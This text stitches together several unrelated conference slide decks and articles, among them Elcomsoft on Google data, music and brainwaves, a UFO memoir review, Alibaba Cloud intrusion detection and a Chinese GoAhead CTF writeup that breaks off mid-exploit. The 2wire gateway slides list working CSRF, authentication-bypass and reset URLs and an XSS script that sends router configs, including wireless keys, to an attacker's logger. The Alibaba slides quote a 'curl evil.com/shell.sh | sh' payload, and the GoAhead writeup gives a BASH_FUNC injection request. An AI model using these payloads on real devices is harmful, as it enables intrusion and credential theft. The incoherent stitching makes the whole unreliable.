password  regularly •  Pay  abenRon  to  noRficaRon  emails •  Enable  two-­‐step  verificaRon How  to  protect  yourself? What  Google  knows  about  you Page 40 (*)  Not  actually  possible (**)  Bad  advise Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Vladimir  Katalov,  ElcomSo0  Co.  Ltd. hbp://www.elcomso0.com hbp://blog.crackpassword.com Facebook:  ElcomSo0 Twiber:  @elcomso0 What  Google  knows  about  you Page 41 What  Google  knows  about  you  and  your  devices (and  how  to  get  it)
pdf
Tuning Your Brain Tuning Your Brain  Why does certain music get you out of a black hole?  Often when we're stuck in a black hole, or just can't figure the problem out - the right music will get us out of it. Why does this work? It seems motivating, and it seems like we solve problems easier, and it seems to create a flow. I'll be going over the basics of the brain structures, neurons, synapses and neurotransmitters, before getting to how music effects the brain, and how we think. Your Brain  Your brain is made of cells called neurons  Neurons are in 3 basic parts  cell body  dendrites [input]  presynaptic membrane is polarized.  axon [output] –  movement along axon weakens as it travels  Could be seen as analog Your Brain  Neuron cells are cells are interconnected by synapses. from the neuron terminals [axon] to the membrane of the dendrite.  Between the terminal of the axon and membrane of the dendrite is known as the pre- synaptic gap Your Brain  Neurotransmitters  First discovered by Otto Loewi  There are approximately 100 billion neurons in the human brain.  Neurotransmitters are released from presynaptic terminal and across to the receptor membrane on the dendrite.  This causes either depolarization (excitatory – increased likelihood of firing ) or hyperpolarization (inhibitory- decreased likelihood of firing) of the membrane. If there is enough (action potential)– the charge passes along the axon to the terminal and the process repeats. Neurotransmitters are inactivated after release – either through re-uptake mechanisms or enzyme action.  Neurotransmitters are inactivated after release – either through re-uptake mechanisms or enzyme action. Your Brain  Major Brain Structures  Frontal Lobe  Parietal Lobe  Occipital Lobe  Temporal Lobe [From Neuroscience For Kids] Brainwaves  What are brainwaves? How are they made?  Records of the electrochemical transmission – polarization/ depolarization at the synapse, action potential at the axon and dendrite.  Brainwaves frequencies are separated into 4 “states”  Beta (fully awake) – 14-40 cps  Alpha(relaxed) – 8-13 cps  Theta (deeply relaxed) – 4-7 cps  Delta(dreamless/unconcious) .5 – 3.5 cps Brainwaves  Stochastic resonance  Think Tuning Fork “Today it is well established that noise plays important roles both in the encoding of sensory stimuli and in the planning and control of certain movements. This paradigm shift was initiated by physicists over the last 25 years who studied the effects of noise on threshold-type devices, including neurons, to subthreshold inputs. It was shown that information transfer improves because noise increases the threshold crossing rate through a mechanism known as stochastic resonance” -- Noise as Therapy: A Prelude to Computationally-Based Neurology? Annals of Neurology. Volume: 58, Issue: 2, Date: August 2005, Pages: 173-174 Binaural Beats/HBPM Music  When a sound of a particular frequency is presented in one ear and a slightly higher or lower frequency is presented simultaneously in the other ear, the mid brain creates the middle frequency.  Binaural Beats have been very popular in neurofeedback  The beats can entrain brainwaves to their frequency via stochastic resonance.  There is some suggestion however that Binaural beats are too fuzzy to be of as much use as any strong beat of the right frequency.  Music, particularly high beat per minute music, listened to on headphones – stimulates the brain and thru resonance decreases the frequency of brain waves.  High bpm music translates approximately to Alpha/ Theta hz.  Changes heart rate. EEG  Electroencephalograph  Reads and translates brainwaves into visual representations From BioEra Hardware  http://openeeg.sourceforge.net/doc/  Digital Board Hardware  Analog Board Finding the Optimal Music  Generally speaking, most biofeedback, binaural beats, and brainwave entraining technologies and theories tend to aim for Alpha or Theta state. These are the more relaxed states often associated with learning and creativity.  High bpm music translates approximately to Alpha/ Theta hz.  My guess is that it's better on headphones – other sound is cut out, and you get the added stimulation through the jawbone.  Training your brain to respond – neurons that fire together will eventually always fire together  It’s all about you– what music works for you individually
pdf
Attacks against 2wire Residential Gateways Attacks against 2wire Residential Gateways WHO AM I? hkm Born in Cozumel island. Have worked as: Forensic investigator Malware analyst Incident response Personal webpage: http://www.hakim.ws Forum: https://underground.org.mx My current research is focused on residential router vulnerabilities 2wire Residential Gateways This broadband modem/router combination enables DSL connectivity with home networking, firewall protection, and remote management capabilities. 2Wire produces a series of HomePortal residential gateways that enable home networking via broadband interfaces that range from ADSL 2+ to fiber to the node (FTTN) (VDSL 1 and 2), as well as FTTP. The gateways are based on integrated system-on-a-chip architectures, and have native TR-069 support, as well as support for HomePNA, MoCA, USB, 802.11b/g wireless standards, and Web-based remote access. AT&T in the United States, Bell in Canada, BT Group in the United Kingdom, SingTel in Singapore, Telecom in New Zealand, PLDT in Philippines, Telmex in Mexico.... 2wire Residential Gateway in the world Vulnerabilities in 2wire residential gateways Cross Site Request Forgery Authentication Bypass Password Reset with WEP key CRLF Denial of Service DSL Denial of Service Cross Site Scripting Configuration Disclosure The Web Interface (usually in 192.168.1.254 or gateway.2wire.net) The Web Interface The Web Interface Client side Ways to get a request from the client Visiting a webpage  HTML tags with attributes src and *src  Other HTML like <background=  Meta refresh  CSS's url()  HTTP Redirect .htaccess redirect  .php: header("Location, ("Refresh ...  .js: location, url, new Image().src=  java applet & many more Filetypes that support requests: .swf .wmf .htm .mov .mpg .pdf .inf .bat .exe Cross Site Request Forgery Modify the device configuration using a simple GET request. Disable wireless encryption: /xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST &NAME=encrypt_enabled&VALUE=0 Add domain in host table: /xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET &NAME=www.prueba.hkm&ADDR=216.163.137.3 (redirects the domain www.prueba.hkm to 216.163.137.3) [video demonstration] CSRF demo stats Cross Site Request Forgery ON THE WILD “First case of Drive-by pharming on the wild” as reported by Symantec You can download a “DNS Cleaning Guide” from Telmex that suggests you remove the domain www.prueba.hkm Authentication Bypass (page=H04) You could change the password, even if it was set and without knowing the current password. /xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J33 &PASSWORD=admin&PASSWORD_CONF=admin&HINT= (changes password to admin) H04 Authentication Bypass ON THE WILD (inside .swf) Password reset with WEP key “It's a feature, not a bug.” (TM) Password reset with WEP key ON THE WILD Denial of Service CRLF DoS published by preth00nker in 2006. /xslt?page=%0d%0a (reboots the device) DSL DoS The DSL connection can be reset by sending a request to /xslt with “%X” where X is any character that is not from A-z. /xslt?page=%& /xslt?page=%@ ... (resets DSL connection) Denial of Service ON THE WILD Cross Site Scripting (who cares anyway?*) Many, everywhere. There are some persistent ones too... Configuration Disclosure It was first described as being a “Magic URL” lol. This url contains the complete router configuration, including: Wireless Key (in plain text of course), DSL credentials, MAC, and much more. You can obtain the url by sniffing the traffic when installing the device using the service provider installation software. Remote Configuration Disclosure (*XSS + Config Disclosure) -XSS- var ImageObject = new Image(); ImageObject.src= "http://192.168.1.254/base/web/def/def/images/nav_sl_logo"; if(ImageObject.height>0){ var iframe = unescape('%3Ciframe%20name%3Diframe%20style%3D%22visibility%3A%20hidden%3B%22%20width%3D2%20height %3D2%20src%3D%22http%3A//192.168.1.254/xslt%3FPAGE%3DH04%26THISPAGE%3D%3C/SCRIPT%3E%3D%3CSCRIPT%20SRC %3Dhttp%3A//xxxx/cp.js%3E%3C/SCRIPT%3E%22%3E%3C/iframe%3E'); } else { var iframe = unescape('%3Ciframe%20name%3Diframe%20style%3D%22visibility%3A%20hidden%3B%22%20width%3D2%20height %3D2%20src%3D%22http%3A//gateway.2wire.net/xslt%3FPAGE%3DH04%26THISPAGE%3D%3C/SCRIPT%3E%3D%3CSCRIPT %20SRC%3Dhttp%3A//xxxx/cp.js%3E%3C/SCRIPT%3E%22%3E%3C/iframe%3E'); } document.write(iframe); -cp.js- xmlhttp.open("GET","/xslt?page=mgmt_data",false); xmlhttp.send(null); var doc = xmlhttp.responseText; var h = parseInt(doc.length / 800)+1; var k = 0; var m = 0; function statement1 () { contenido = doc.substr(k,800); k=k+800; with(document)body.appendChild(createElement("script")).setAttribute("src","http://xxxx/logger.php?file="+contenido); m++; if (m>h){ clearInterval(tid); } } var tid = setInterval('statement1()', 1000); (remotely logs the complete configuration file) [video demonstration] Authentication Bypass in page CD35_SETUP_01 (New!) A few months ago while looking at my logs I found this page that allows to change the password even if the password is set. /xslt?PAGE=CD35_SETUP_01_POST &password1=admin&password2=admin&HINT=admin (changes the password to admin) Password Reset in CD35_SETUP_01 (New!) By sending a password with more than 512 chars the password gets reset and next time you access it, our friendly H04 page will pop up asking for a new password. /xslt? PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkmhkmhkmhkmh kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk mhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhk mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm (resets the password) Thank you! Pedro Joaquin [email protected] http://www.hakim.ws http://www.webvuln.com https://www.underground.org.mx
pdf
Book Review: A Tale of Two Sciences: Memoirs of a Dissident Scientist by Peter A. Sturrock (Exoscience: Palo Alto) 2009. by Richard Thieme “A Tale of Two Sciences: Memoirs of a Dissident Scientist,” by Dr. Peter A. Sturrock, is a personal work by the well-known Stanford physicist and astrophysicist, reflecting on the sometimes complementary, sometimes discordant threads of his professional lives: one as a conventional scientist, with a long list of respected publications, and one as an unconventional scientist who explored anomalous phenomena, in particular UFO phenomena. His conventional scientific career might be a surprise to those who know him only in relationship to UFO studies; it is recounted here in terms that any educated layman can understand – in fact, the simplicity and clarity of his explanations of, say, plasma physics or pulsars, are a testimony to his deep knowledge – one can’t explain complex phenomena so clearly otherwise. And for readers who want to go a little deeper, there is a small bit of helpful math in appendices. His unconventional career, on the other hand, has resulted in the full spectrum of responses which unfortunately are familiar to all researchers in anomalies –embarrassed smiles, curt dismissals, ridicule, the bemused shaking of a lot of heads – all of which tell the researcher that he or she is at best tolerated as an eccentric and at worst dismissed as a nut case. The two strands of his unconventional career consist of accumulated evidence, the content of his explorations, food for further thought and research, and his personal account of reactions to that work and in turn his reactions to those reactions over a lifetime. This is a memoir, not a scientific treatise, so it must be evaluated for what it tells us about the man and his internal journey as well as the rewards of a long career in orthodox scientific research. It is well-written, careful in its pronouncements, understated, eminently sane, and occasionally mind-boggling, especially for the uninitiated who previously accepted the dismissal of anomalies like UFOs and ESP uncritically. The book is a significant contribution to the psychology of science and scientists as well and can serve as the wise words of a mentor for younger scientists tempted by the forbidden. Sturrock warns those who would follow in his footsteps to count the cost. Enduring decades of abrasive dismissals by scientists who at their personal worst are unscientific makes this path a long-distance run, not a sprint, that requires stamina, grit, and renewable commitment. A lifetime of cognitive dissonance is one result of the subject matter Sturrock investigates and frequent rejection of the pursuit itself, much less the fruits of that pursuit. At the core his commitment is the essence of a properly scientific attitude, namely, curiosity, curiosity about the ineluctably real that imprints itself indelibly on one’s consciousness. Reading this narrative, one thinks of Francis Bacon’s response when criticized by the Church for dissecting cadavers to learn about human anatomy because the Church was afraid that his discoveries might contradict its teachings: “Whatever deserves to exist deserves to be known.” So ultimately there has been for Peter Sturrock not two careers but one and one mode of knowing and wanting to know, the scientific mode applied rigorously and without prejudice. Conventional and unconventional science alike are the front and back of a single discipline requiring that one attends to the data, formulate hypotheses, then test and revise them, leaving the next generation with a slightly better understanding of what seems to exists in a complex universe. Sturrock is well known in UFO circles as the organizer of the Pocantico Conference in September 1997 which brought together an eclectic group of scientists at the Pocantico Conference Center near Tarrytown, New York to hear presentations on selected cases and some summaries of UFO effects by serious researchers. Financed by Laurence Rockefeller, the conference straddled the forbidden and the familiar and included researchers known to readers of this journal such as Jacques Vallee, Mark Rodigher, and Richard Haines. The medium, a respectable scientific conference, was intended to be the message as well, leading to greater credibility for research into UFO phenomena. The conference concluded with carefully phrased, conservative, thoughtful suggestions that challenged orthodox scientists by proposing additional topics and structures for research. Sturrock wrote about the conference in detail in “The UFO Enigma: a New Review of the Physical Evidence,” published in 1999 by Warner Books. Much of that material is reviewed in this memoir, but because this is a memoir, there is a critical difference: “It is not easy to have a split personality,” Sturrock writes in the first sentence of the preface; “this book is – in part – an attempt to remedy that situation.” That compelling drive to clarify the data, integrate it into a unified framework, and articulate tentative but provocative conclusions about what it tells us to explore next – this is a subtext of this work. That drive, Sturrock makes clear, is motivated in part by the desire to alleviate the cognitive dissonance of which I spoke; that internal conflict must be addressed by a mature healthy ego, one’s life work must be justified and justifiable, to others as well as oneself. That too is a subtext of this work. Sturrock the man as well as the wary scientist shows up and makes his case. By establishing basic criteria – does it exist? therefore is it deserving of being understood? – for work in all arenas, Sturrock challenges again and again the irrational or non-rational rejection of the subject matter in itself by those who claim the scientific method as their modus opperandi. He places the burden on scientists who refuse even to look much less pay attention. And that challenge, I am afraid, will be handled by most career scientists as they have handled both Sturrock and the subject matter in the past, by not acknowledging that it exists. Because Sturrock is willing in this personal account to reveal more of the feeling behind his thinking, he is impelled to conclusions that have not been often articulated in the past. UFO researchers since Hynek have noted the “strangeness” of some reports, aspects of the experience that might sound like science fiction to those unfamiliar with the now- voluminous body of research. At the end of the work, he advances an alternative view of physics that might account for the “strangeness” of some UFO reports, that vehicles or entities seem to be here yet not here at the same time, that observers walk around a luminous object which disappears as if tucked into a nook of spacetime behind a hidden curtain, that experiences of telepathic communication or transfer of knowledge have taken place... and that the compelling testimony of people for sixty years (and likely more) from all over the world, their experiences in agreement in many small details ... this mass of experience and data should not be ignored. His conclusions suggest in essence that current models of reality derived from physics do not account for what has been observed; therefore oblique trajectories must be drawn and followed to explore possibilities to begin to account for them – and perhaps reap practical rewards for spacetime travel, energy consumption, and medicine. And because the narrative is from one point of view an apologia, a justification of a lifetime of unorthodox pursuits, and because sanity, like wisdom, is contextual, the author marshals a sequence of historical antecedents of theories that were rejected out of hand when first proposed but that turned out to be of merit. Consensus realities in the past led to the same kind of ridicule and “debunking” that UFO researchers experience today; heterodox ideas gained a foothold among mainstream scientists “one funeral at a time,” as Max Planck described progress in science. Sturrock refers to the famous instance of meteorites which could not possibly exist because “rocks do not fall from the sky,” and battered child syndrome, the details of which could not be heard when first presented to doctors, and the theory of plate tectonics, and in his primary domain of expertise, theories about neutrinos and pulsars. One thinks too of Raymond Dart and his work on Australopithecus, widely rejected for many years. Such stories are widely known, and some of the motive power for repeating them comes I suspect from the need to establish a “tradition” of advances in science that occurred after prophets who first articulated them had been scorned and dishonored. So on one level, the text reminds both scientists and laity that good science ought to consider anomalies worthy of investigation, and on a personal or psychological level, the author must make the case that in all of the work he has done, he listens carefully, observes scrupulously, and rigorously investigates before formulating a hypothesis. Part of making his case is the entire first part of the memoir which reviews Sturrock’s educational and vocational history, linked by memories of influential teachers, mentors, and colleagues. That organizing principle is an attribute of memoirs too, the narrative sequence determined by memories of people important to the author’s personal and professional life. Those chapters establish that Sturrock was indeed mentored and respected by conventional scientists of some renown, that some of the best people in his field led him into research in Europe and the United States in astrophysics and physics that resulted in numerous papers and a long distinguished career at Stanford University, one of the most respected academic environments in the world. Then, having hung that framework like a curtain, Sturrock discusses his “other” career as a dissident scientist. A man, in other words, who was curious and found the universe, as Alice said, even “curiouser and curiouser.” It sounds simple, doesn’t it? That the scientific mind is curious? Yet again and again, Sturrock was frustrated by the absence of this core attribute, arguably the cornerstone of intelligence, the willingness to poke one’s whiskers out beyond the door of one’s snug abode and sniff the air; that frustration comes to the surface in anecdote after anecdote. So many colleagues were tamed and constrained by a culture of caution and hesitancy, a fear of being branded a heretic, a terror, after all, of losing one’s benefits. In addition to UFO phenomena, Sturrock discusses possible instances of the paranormal, spontaneous healing, and reincarnation. But UFO phenomena is in the foreground of his research. In the past he has discussed case histories, summaries of physical and psychological effects, and phenomena which seems to violate known laws of physics. He has always been appropriately cautious in public pronouncements, mindful of mine fields, tiptoeing with care. He has generally avoided mention of personal reactions to his work, such as the near-terror of SETI researchers, for example, who thought he was attending a conference on extraterrestrial life and might advance the UFO point of view to their embarrassment. (My experience interviewing Frank Drake and Jill Tarter echoed Sturrock’s. The economic and political requirements of SETI, fighting for several hundred million dollars in endowment funds against a strong political headwind, necessitated, Tarter told me, a strict divorce of their project from “bad science,” defined as anything that might taint their efforts. She used her own mistaken identification of the moon as a UFO during an airplane ride as an example of why all UFO reports must be something similar. When I observed that this was not scientific, she did not respond. I recall feeling - as Sturrock often did - taken aback by the lack of a scientific attitude on the part of a well-known scientist.) In all of his multiple pursuits, it is possible – not certain – that Sturrock’s English upbringing influenced some of his attitudes and interests. Based on my experiences while living in England as a young man, I offer these speculations. First, I learned in England that loud expressions of enthusiasm are often frowned on. I recall that when Sesame Street was introduced to English television audiences, for example, a friend said a much better program was the one in which children sat quietly on the floor while a teacher read a story. When an Englishman felt strongly about something, he was more inclined to say “um” quietly instead of “oh boy gee whiz wow!” This is relevant because this is a review of a memoir, not a scientific paper. It underscores the habitual understatement which for an Englishman born and bred reveals rather than contradicts intensity of feeling. If an exuberant American extrovert like myself were to write this account, it might say: Please, people! this is DATA! this is observable, frequently reported data! and it challenges the way we believe the universe works! Let’s THINK about it, shall we? But Sturrock is English, and always, his conclusions and proposals are those of a careful scientist. He insists on using Bayes’ Theorem as a touchstone for a sane way to proceed in every investigation, he never goes beyond the data itself, and he restricts the presentation of data to documented events. Here’s a second hunch about “things English:” in addition to advances that created modern scientific thinking beginning with the Royal Society, there has been regard in England for the eccentric, the anomalous, the struggle to reconcile the known and the unknown into one big picture. The work of the Society for Psychical Research at the turn of the twentieth century included psychologists like Frederick W. H. Myers, philosophers like William James, politicians like Lord Balfour, physicists like Oliver Lodge, and serious, thoughtful investigation of mediums, spirits, spontaneous manifestations of apparitions at a time of crisis, the survival of bodily death, and the like. My hunch is simply that Sturrock is part of that tradition too. He knew that wise distinguished men did not reject a subject a priori but peered into the shadows on the edges of experience. He knew that Conan Doyle and Williams Butler Yates evangelized for the existence of faeries. That framework is part of the heritage of a man who suggests that when we turn around and look at the world, we transit a full 360 degrees before coming home again, knowing that when we do, the self at which we arrive will not be the self which departed on that journey. A few years ago, I reviewed Jonathan Moreno’s “Mind Wars,” an investigation by a neuroscientist and bioethicist with good credentials. Moreno investigated research based on biology and neuroscience for warfare and “perception management.” Like Sturrock, Moreno advanced conventional credentials again and again, recounting his work with intelligence agencies, for example, so he could insist to a skeptical audience that he was not “a conspiracy theorist” or a nut-case but a legitimate credentialed academic. Moreno worked with intelligence professionals and wrote openly about national security and secrecy issues. He told me scientists often “clammed up” when he asked about their research, that they dared not say a word for the record. Sturrock does not dwell on that aspect of research into anomalous phenomena but it is there nevertheless. Not only do sociological and cultural molds for conformity mold the clay of scientific research, but precisely because the data is compelling, precisely because it would have attracted attention, and research, and dollars in the past, whatever might have been discussed behind closed doors is beyond our reach. Life in the national security state since World War 2 adds even greater cognitive dissonance to our quest for understanding. It is not only the universe that plays dice with us but, closer to home, it is likely that some in positions of authority do too. No wonder we feel so often we are looking into a fun-house mirror when we try to connect the dots. The elusiveness of anomalies is further distorted by the fact that we don’t and can’t know what we don’t know ... about who does know more about them. It is a characteristic of an anomaly that it does not connect with other known facts. It hangs in the air like the grin of a Cheshire cat, tantalizing but out of reach. That characteristic also afflicts the fruits of research into anomalies. The Pocantico Conference, for example, resulted in distinguished scientists contradicting the Condon Report, the last known “official” Government paper on UFOs, and made recommendations, and then ... nothing. The investigation of anomalies became, itself, anomalous. Sturrock also cites GEPAN/SEPRA as one model for investigation of UFO events, so one might expect the work done by the French to be on our radar, but ... it remains anomalous, too. A society which Sturrock helped to found – The Society for Scientific Exploration –an attempt to bridge the two worlds – and its publication, The Journal of Scientific Exploration, have also resulted in important work but ... the society, the journal, remain in limbo, a bit off the beaten path, interesting to some, but anomalous. For the moment, those efforts are here and not here at the same time, lacking integration into mainstream thought. They accumulate but remain liminal to the primary concerns of establishment scientists, mainstream media, and 21st century consensus reality. The promise of this thoughtful, so-interesting memoir is that one more drip in a sequence of drips on the rocks of reality will help to wear away the resistant rock. The fear is that this work too will be dismissed as a quirky look into weird, new-agey experiences, an off-road trip irrelevant to the highways of career science. The counter-cultural view? If it exists, it is worthy of being understood. And so is Peter Sturrock. Richard Thieme is a writer and professional speaker focused on the deeper implications of technology, religion, and science for twenty-first century life. He has spoken for audiences from Berlin to Brisbane on identity, creativity, security, challenges to professional intelligence, and “UFOlogy 101.” He has published widely. Translated into German, Chinese, Japanese, Slovene, Dutch, Hebrew, Danish and Indonesian, his articles are taught at numerous universities in Europe, Australia, Canada, and the United States and frequently anthologized. His column, "Islands in the Clickstream," was published in Hong Kong, Bangkok, Singapore, Toronto, Djakarta, Dublin and Capetown and distributed to thousands of subscribers in 60 countries before collection as a book by Syngress Publishing, a division of Elsevier, in 2004. “Mind Games,” a collection of nineteen stories of brave new worlds and alternate realities, was published April 1 2010 by Duncan Long Publications.
pdf
数据挖掘赋能安全感知: 阿里云大数据入侵检测实践 Han Zheng 资深安全工程师 2019年5月29日 Yue Xu 安全工程师 团队成员 任职于阿里巴巴云安全中心,负责算法实现和入侵检测与威胁情 报的研发团队。 Han Zheng、Yue Xu、Wei He 云 + 安全性 优势 • 数据计算能力 • 丰富的安全日志 • 从上帝视角来看数据 挑战 • 庞大的业务环境 • 从“脚本小子”到国家,多方遇敌 • 精确率和召回率都让人担忧 数据流 威胁建模案例表 • 暴力攻击 • 恶意行为链 • 恶意 Web 脚本(即 Webshell) • 攻击载荷回溯 威胁建模案例表 • 暴力攻击 • 恶意行为链 • 恶意 Web 脚本(即 Webshell) • 攻击载荷回溯 基于规则的决策所存在的问题 服务器登录事件的特征 • 基于规则的决策 难以在假正率(False Positive)和真负率(True Negative) 之间取得平衡。 • 不同服务器有着 不同的行为。并非所有 情况都能事先了解。 多元高斯模型 查找异常行为 高斯分布 威胁建模案例表 • 暴力攻击 • 恶意行为链 • 恶意 Web 脚本(即 Webshell) • 攻击载荷回溯 恶意行为链 模式挖掘 流程、文件和网络的链接 生成强关联规则 DDG 挖掘命令 匹配到的模式 威胁建模案例表 • 暴力攻击 • 恶意行为链 • 恶意 Web 脚本(即 Webshell) • 攻击载荷回溯 恶意 Web 脚本 两类恶意 PHP 脚本(Webshell) 特征 01 文本 03 动态函数调用 02 opcode 机器学习性能 每日遭感染主机数(2 - 4 月) 机器学习技 术的改进 基于规则 的结果 实验室性能: 针对 30,000 个样本进行测试 实现了:F1=98.78%, AUC=99.97% 上线后性能: 检测率提高 17%,3 个月内仅一次假阳性 警报。 威胁建模案例表 • 暴力攻击 • 恶意行为链 • 恶意 Web 脚本(即 Webshell) • 攻击载荷回溯 自动化攻击回溯 发现恶意进程: curl http://evil.com/shell.sh | sh 如何被入侵的? 攻击者的 HTTP 请求为: POST /XXX/XXXX HTTP/1.1 Host: xxx.xx.xxx:7001 cmd=curl http://evil.com/shell.sh | sh&XXXXXXXXXX 文本相似性分析 问题: 如果攻击者的载荷 被编码/加密呢? 编码后载荷回溯 解决了: 在不具备文本特征,且对弱点不了解情 况下进行载荷回溯的能力 仅适用于: 一对多攻击 编码后载荷回溯案例 发现:Webshell 连接流 (载荷使用 base64 编码) 编码后载荷回溯案例 发现:Java 反序列化利用 (载荷通过 Java 序列化 编码) 编码后载荷回溯案例 发现:SQL 注入导致的 RCE (RCE 载荷隐藏在一个 特殊的六进制字符串 中) 借助数据挖掘增强安全感知能力 • 标签数据的缺乏 和不明确的 威胁边界 限制了机器学习在安全领域的 表现。 • 面对网络威胁,AI 并非“万灵药”。更重要的是确定 何时需要 AI, 以及如何对效果进行量化。 • 没有免费的午餐,您必须根据具体项目的 实际情况 选择最适合的算 法。 云 + 安全性 优势和挑战 威胁建模案例 • 暴力攻击 • 异常进程启动 • 恶意 Web 脚本(即 Webshell) • 攻击载荷回溯 问答 Enhance Security Awareness with Data Mining Han Zheng [email protected] Yue Xu [email protected] 郑瀚Andrew_Hann cdxy000 cdxy_ 数据挖掘赋能安全感知:阿里云大数据入侵检测实践
pdf
1 pingOrce出题⼈writeup ---种环境变量注⼊劫 持bash的实际利⽤场景 前⾔ GoAhead GoAhead + bash 参考 前不久p⽜分享了⼀个利⽤环境变量注⼊劫持bash的技巧. 当时我就在想这种环境变量的注⼊有没有什么⽐较通⽤的场景。⼀般遇到的环境变量注⼊基本上都是直 接使⽤ld_preload解决问题。p⽜的这种新的环境变量注⼊的利⽤技巧,有没有什么特殊的利⽤⾯呢。 嵌⼊式设备常⽤的Web服务器 GoAhead 出现过环境变量注⼊漏洞 CVE-2017-17562 和 CVE-2021- 42342。 漏洞的原理很简单:服务器会把收到的CGI请求参数直接写⼊到环境变量中。 CVE-2017-17562 的修复⽅案也很简单:在写⼊的环境变量前加 CGI_前缀 添加⿊名单过滤(实际上⽆ 效)。 但是这补丁并没有完全修复。 在 multipart 表单请求遗漏了请求参数的处理 ⿊名单也没起作⽤ 所以就有了CVE-2021-42342 当时我在复现 CVE-2017-17562和CVE-2021-42342 时遇到了⼀个问题. 我在上传⽂件时发⽣了500错误 控制台⽆任何错误输出 阅读源码后我发现 GoAhead 上传⽂件时会向⼀个固定的临时⽂件夹写⼊临时⽂件 默认为--home参数提供的⽬录下的tmp ⽬录 前⾔ GoAhead 2 如果⽬录不存在 或者是⽆法写⼊⽂件,就⽆法完成上传流程。(在后来搜索漏洞分析的才发现了p⽜的⽂ 章已经写过了我遇到的坑 还有⼀些其他的⽞学问题) 在创建tmp⽬录后,我成功的完成了漏洞复现。 这时我想到了⼀个问题: 嵌⼊式设备⼤多都是只读⽂件系统,即使是可写也没有创建这个临时⽬录。 那么,这个漏洞在实际的场景下应该很难利⽤。 当时没有其他⽅法只能⽌步于此。 直到我遇到了p⽜的这篇⽂章。 ⼀些嵌⼊式设备会有执⾏系统命令的场景。 ⽐如ping 路由跟踪 等等。 在这个场景下并结合p⽜的bash劫持,就可以完美的完成命令执⾏⽬标。 随便构建⼀个cgi GoAhead + bash 3 web功能代码 C 复制代码 int isValidIp4 (char *str) {    int segs = 0;   /* Segment count. */    int chcnt = 0;  /* Character count within segment. */    int accum = 0;  /* Accumulator for segment. */    /* Catch NULL pointer. */    if (str == NULL)        return 0;    /* Process every character in string. */    while (*str != '\0') {        /* Segment changeover. */        if (*str == '.') {            /* Must have some digits in segment. */            if (chcnt == 0)                return 0;            /* Limit number of segments. */            if (++segs == 4)                return 0;            /* Reset segment values and restart loop. */            chcnt = accum = 0;            str++;            continue;       }        /* Check numeric. */        if ((*str < '0') || (*str > '9'))            return 0;        /* Accumulate and check segment. */        if ((accum = accum * 10 + *str - '0') > 255)            return 0;        /* Advance other segment specific stuff and continue loop. */        chcnt++; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 4 使⽤p⽜的 bash环境变量注⼊劫持ping 命令实现任意代码执⾏        str++;   }    /* Check enough segments and enough characters in last segment. */    if (segs != 3)        return 0;    if (chcnt == 0)        return 0;    /* Address okay. */    return 1; } printf("<HTML><TITLE>Network looking glass</TITLE><BODY>\r\n"); printf("<form action=\"\" method=\"GET\">\r\n"); printf("<input name=\"ip\">\r\n"); printf("<input type=\"submit\" value=\"ping\">\r\n"); printf("</form>\r\n"); fflush(stdout); if (numQueryKeys != 0) {    printf("<H2>result</H2>\r\n");    for (i = 0; i < (numQueryKeys * 2); i += 2) {        if (queryKeys[i+1] != 0) {            if(isValidIp4(queryKeys[i+1])){                char buffer[256];                printf("<p>$ping -c 4 -w15 %s</p>\r\n<textarea style=\"width: 484px; height: 165px;\">",queryKeys[i+1]);                fflush(stdout);                sprintf(buffer, "ping -c 4 -w15 %s", queryKeys[i+1]);                system(buffer);                fflush(stdout);                printf("</textarea>");           }else{                printf("<H2>invalid ip</H2>\r\n");           }       }   } } printf("</BODY></HTML>\r\n"); 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 5 POST /cgi-bin/ping?fdhtf=1.1.1.1 HTTP/1.1 Host: 1.1.1.1 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------123456 Connection: close -----------------------------123456 Content-Disposition: form-data; name="BASH_FUNC_ping%%" () 